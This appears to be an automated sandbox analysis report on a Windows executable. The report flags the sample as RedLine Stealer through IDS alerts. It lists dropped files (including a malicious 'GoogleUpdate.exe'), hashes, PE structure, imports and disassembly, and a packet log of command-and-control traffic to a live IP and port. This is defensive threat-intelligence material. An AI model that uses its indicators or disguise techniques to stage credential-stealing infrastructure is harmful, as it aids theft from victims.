C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gyagja2e.al5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rkqwey0v.rzf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ucg2rgoj.1le.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_upg4tcsk.afi.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ydfdlggb.zop.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ysgsubqu.fbo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z0cbt4sf.ymb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Windows\GoogleUpdate.exe

Download File

Process:	C:\Users\user\AppData\Local\Google\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	154456
Entropy (8bit):	5.948865342404173
Encrypted:	false
SSDEEP:	3072:UAt2Sb2m5oyiTOZQvfSERdX9Zk8ACB+6l4nfS3wjVSzpD2MhkNJoSloS+Zh52ruK:fxwjRjB+O+/H
MD5:	9A66A3DE2589F7108426AF37AB7F6B41
SHA1:	12950D906FF703F3A1E0BD973FCA2B433E5AB207
SHA-256:	A913415626433D5D0F07D3EC4084A67FF6F5138C3C3F64E36DD0C1AE4C423C65
SHA-512:	A4E81BFFBFA4D3987A8C10CEC5673FD0C8AECBB96104253731BFCAB645090E631786FF7BDE78607CBB2D242EE62051D41658059FCBBC4990C40DBB0FEC66FCD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....cg.}....ce......cd.o......f......e......^....cy.z...w...........v.....i.v...w...M.......v...Richw...........................PE..L.....u`............................Bt.......0....@..........................`......g.....@.................................LQ..x....`..P............&..X5...P.......[..T............................[..@............P..H............................text...T........................... ..`.data........0......."..............@....idata.......P.......*..............@..@.rsrc...P....`.......4..............@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.2359263506290326
Encrypted:	false
SSDEEP:	3:t:t
MD5:	F1CA165C0DA831C9A17D08C4DECBD114
SHA1:	D750F8260312A40968458169B496C40DACC751CA
SHA-256:	ACCF036232D2570796BF0ABF71FFE342DC35E2F07B12041FE739D44A06F36AF8
SHA-512:	052FF09612F382505B049EF15D9FB83E46430B5EE4EEFB0F865CD1A3A50FDFA6FFF573E0EF940F26E955270502D5774187CD88B90CD53792AC1F6DFA37E4B646
Malicious:	false
Reputation:	unknown
Preview:	Ok.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.025180372447351
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	cfBJlHsOsz.exe
File size:	248320
MD5:	63c02bf79ba67e69dfb5b5f115986f8b
SHA1:	0282d75ca0ef8167e1798ab5925bdddf604753c9
SHA256:	84806d7ed59a57fce9b4bb07519d78f25edd45c5e56c5739a252f4b4b3c701e2
SHA512:	0b2923317ef6cd3b034f61a22ad47ea95a4bf4de6c5f11a04a22a638f6c6de7c5d80dd844f6608de40a746c40f7a3e468d8daba26f7f81807e8c6b0b3844ebea
SSDEEP:	6144:71gE5wi2UCeNWGa+nMzVWMNQErpV2IviDnye3sEuYq7Z:pgEaACe1a+nMzVWMNQErpV2IvQypEuYa
TLSH:	77348C137580743AF6ADCBFAD89C9E55487FA3E1178066CB112E071847F13FA9AA434E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........}....................................Q.......................................Rich....................PE..L.....xc...........

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x40af90
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6378EEAF [Sat Nov 19 14:56:47 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	19f81fe756f31ae8a7d11110e6e81c7a

Entrypoint Preview

Instruction
call 00007F444CE8474Ch
jmp 00007F444CE80889h
cmp ecx, dword ptr [0043D2BCh]
jne 00007F444CE809E4h
rep ret
jmp 00007F444CE847CEh
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0043D2BCh]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0043D2BCh]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], esp
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov esi, ecx
mov byte ptr [esi+0Ch], 00000000h
test eax, eax
jne 00007F444CE80A45h
call 00007F444CE825F0h
mov dword ptr [esi+08h], eax
mov ecx, dword ptr [eax+6Ch]
mov dword ptr [esi], ecx
mov ecx, dword ptr [eax+68h]
mov dword ptr [esi+04h], ecx
mov ecx, dword ptr [esi]
cmp ecx, dword ptr [0043DB78h]
je 00007F444CE809F4h
mov ecx, dword ptr [00000000h]

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[C++] VS2008 SP1 build 30729
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1a0d4	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3f000	0x628	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x16000	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1415f	0x14200	False	0.49862917313664595	data	6.697149590576058	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x16000	0x482e	0x4a00	False	0.5371621621621622	data	6.092009056895557	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1b000	0x23e38	0x23200	False	0.5358235097864769	data	6.690699040272788	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3f000	0x628	0x800	False	0.35791015625	data	3.2803316145386052	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x3f200	0x428	data	English	United States
RT_MANIFEST	0x3f0a0	0x15a	ASCII text, with CRLF line terminators	English	United States

Imports

DLL

Import

KERNEL32.dll

Sleep, GetProcAddress, GetModuleHandleA, MultiByteToWideChar, FreeConsole, SetPriorityClass, GetFileSizeEx, ExitThread, InitializeCriticalSection, CreateMutexW, AddAtomW, GetProcessId, ConvertThreadToFiber, CheckNameLegalDOS8Dot3W, GetFileSize, AssignProcessToJobObject, CreateFileW, GetCurrentThread, WriteConsoleOutputCharacterW, GetFileInformationByHandle, SetProcessAffinityMask, FindVolumeClose, GetNumaNodeProcessorMask, SetFilePointer, RtlUnwind, RaiseException, GetCommandLineA, GetLastError, HeapFree, GetModuleHandleW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, HeapAlloc, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, GetStartupInfoA, DeleteCriticalSection, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, LeaveCriticalSection, EnterCriticalSection, VirtualAlloc, HeapReAlloc, HeapSize, LoadLibraryA, InitializeCriticalSectionAndSpinCount, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.337.220.87.249711279242850286 11/24/22-16:57:32.394186	TCP	2850286	ETPRO TROJAN Redline Stealer TCP CnC Activity	49711	27924	192.168.2.3	37.220.87.2
192.168.2.337.220.87.249711279242850027 11/24/22-16:57:12.091008	TCP	2850027	ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init	49711	27924	192.168.2.3	37.220.87.2
37.220.87.2192.168.2.327924497112850353 11/24/22-16:57:16.770120	TCP	2850353	ETPRO MALWARE Redline Stealer TCP CnC - Id1Response	27924	49711	37.220.87.2	192.168.2.3
192.168.2.3172.66.43.60497144432039616 11/24/22-16:58:10.902029	TCP	2039616	ET TROJAN Win32/Agent.AETZ CnC Checkin	49714	443	192.168.2.3	172.66.43.60

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2022 16:57:11.662306070 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:11.692747116 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:11.692866087 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:12.091007948 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:12.120229959 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:12.139189959 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:12.183223963 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:16.720865011 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:16.750411034 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:16.770119905 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:16.919228077 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:24.204912901 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:24.234217882 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:24.254789114 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:24.254846096 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:24.254899025 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:24.254951000 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:24.254967928 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:24.255045891 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:25.996398926 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:26.047502995 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:26.075738907 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:26.123676062 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:26.168771029 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:26.208617926 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:26.260617971 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:26.284095049 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:26.332596064 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:26.338920116 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:26.387262106 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:26.434405088 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:26.995012999 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:27.042805910 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:27.090864897 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.409852028 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.440489054 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.440536976 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.440570116 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.440591097 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.440670013 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.440706968 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.469860077 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.469918966 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.469997883 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.469997883 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.470010996 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.470082998 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.470101118 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.470169067 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.470244884 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.470283031 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.470305920 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.470336914 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.470442057 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.470479965 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.470504045 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.470526934 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.470541954 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.470578909 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.470633030 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.470689058 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.499222040 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.499288082 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.499300957 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.499357939 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.499546051 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.499617100 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.499674082 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.499730110 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.499756098 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.499815941 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.499928951 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.499986887 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.500121117 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.500153065 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.500189066 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.500216961 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.500231028 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.500289917 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.500309944 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.500387907 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.500395060 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.500516891 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.500653982 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.500684023 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.500754118 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.500765085 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.500822067 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.500844002 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.500874996 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.500931025 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.500951052 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.528482914 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.528531075 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.528561115 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.528609991 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.528609991 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.528707027 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.528822899 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.528856039 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.528897047 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.528928995 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.528989077 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.529052019 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.529314995 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.529345036 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.529556990 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.529634953 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.529759884 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.529836893 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.529970884 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.530195951 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.530225992 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.530303955 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.530453920 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.530536890 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.530567884 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.530664921 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.530863047 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.530956030 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.530978918 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.531061888 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.531064987 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.531197071 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.531277895 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.531372070 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.531455040 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.531532049 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.531652927 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.531729937 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.531820059 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.531897068 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.558003902 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.558052063 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.558099985 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.558130026 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.558326006 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.558437109 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.558598995 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.558681011 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.558897018 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.558937073 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.559040070 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.559230089 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.559681892 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.559830904 CET	49711	27924	192.168.2.3	37.220.87.2
Nov 24, 2022 16:57:28.560075998 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.560295105 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.560374975 CET	27924	49711	37.220.87.2	192.168.2.3
Nov 24, 2022 16:57:28.560549974 CET	27924	49711	37.220.87.2	192.168.2.3
